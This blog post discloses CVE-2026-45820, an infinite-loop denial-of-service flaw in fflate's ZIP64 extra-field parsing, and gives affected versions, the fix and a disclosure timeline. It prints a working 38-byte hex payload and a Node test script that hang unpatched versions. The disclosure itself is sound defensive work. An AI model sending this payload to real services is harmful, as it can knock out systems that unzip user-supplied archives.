Blog

Bad Things Also Come in Small Packages: A 38-byte DoS in fflate (CVE-2026-45820)

Ben Bader
July 23, 2026

We discovered this new vulnerability as part of our abandoned-packages research. Despite what seems like a 2-year hiatus, fflate is one of the few popular npm packages that released a fix for the vulnerabilities we found merely using Sonnet-4.6, giving its 50M+ users a chance to upgrade to a safe version.

fflate

fflate is a small-footprint compression library for javascript:

import { unzipSync } from 'fflate';

const files = unzipSync(archive);   // { 'hello.txt': Uint8Array }

While the API of fflate is straightforward, parsing a ZIP file isn't, literally. The zip format requires reading an archive back-to-front. A reader needs to find the EOCD footer and uses it to locate the central directory, where each file's name, size, and offset are stored:

What happens for large archives? The original ZIP format is 32-bit so most of the meta-data is stored as 4-byte fields, which is limited to ~4 GiB. ZIP64 is an extension to the format that supports larger sizes and unless you exceed these limitations, it keeps it backwards compatible.

When a field would overflow its allotted 4 bytes, 0xFFFFFFFF is used as a flag and the real 64-bit value is stored in the entry's extra field (arbitrary tagged data). So when a reader sees compressed_size == 0xFFFFFFFF it has to find the record tagged 0x0001, and read the 64-bit values out of it.

To infinity and beyond - CVE-2026-45820

fflate supports parsing the zip64 extension. It checks the extra field, as you can see in (src/index.ts):

...
const b2 = (d: Uint8Array, b: number) => d[b] | (d[b + 1] << 8);
...
...
...
// read zip64 extra field
const z64e = (d: Uint8Array, b: number) => {
  for (; b2(d, b) != 1; b += 4 + b2(d, b + 2));
  return [b8(d, b + 12), b8(d, b + 4), b8(d, b + 20)] as const;
}

The loop only stops when the tag equals 1, without checking that b is still inside the extra field or even inside the buffer. Thanks to the lovely fact that in JS indexing a Uint8Array past its end returns undefined, it will loop indefinitely instead of throwing:

Size isn't everything

Due to some lacking bounds checks in fflate we can overlap structures of the zip format, building a payload that leads to this DoS with merely 38 bytes:

The entire payload:

50 4b 06 06 00 00 00 00 00 00 00 00 00 00 00 00
50 4b 05 06 ff ff ff ff ff ff 00 00 00 00 00 00
01 00 00 00 00 00

And testing it is pretty straightforward:

import { unzip } from "fflate";
import { readFileSync } from "fs";

const data = new Uint8Array(readFileSync(process.argv[2]));
unzip(data, () => { console.log("cb") });

console.log("done")

Impact

Any service that uses fflate to decompress a user-supplied ZIP file is exposed to the vulnerability CVE-2026-45820, affecting the following versions (inclusive):

  • from 0.4.5 to 0.4.8
  • from 0.5.0 to 0.5.3
  • from 0.6.0 to 0.6.10
  • from 0.7.0 to 0.7.4
  • from 0.8.0 to 0.8.2

Remediation

Thanks to the agile work of Arjun who maintains fflate, you can update to a version with a fix for this vulnerability (CVE-2026-45820).

If upgrading isn't an option, Seal Security provides version-compatible patched builds that backport this fix onto your current version, so you can close the vulnerability without a dependency bump.

Timeline

  • 2026-05-12 - Our abandoned-packages agent flags fflate; we confirm the ZIP64 infinite loop and build a working proof of concept.
  • 2026-05-14 - vulnerability reported to the maintainer
  • 2026-05-16 - The maintainer quickly publishes fflate 0.8.3 with a fix
  • 2026-07-22 - information made public after embargo, to notify users who haven't updated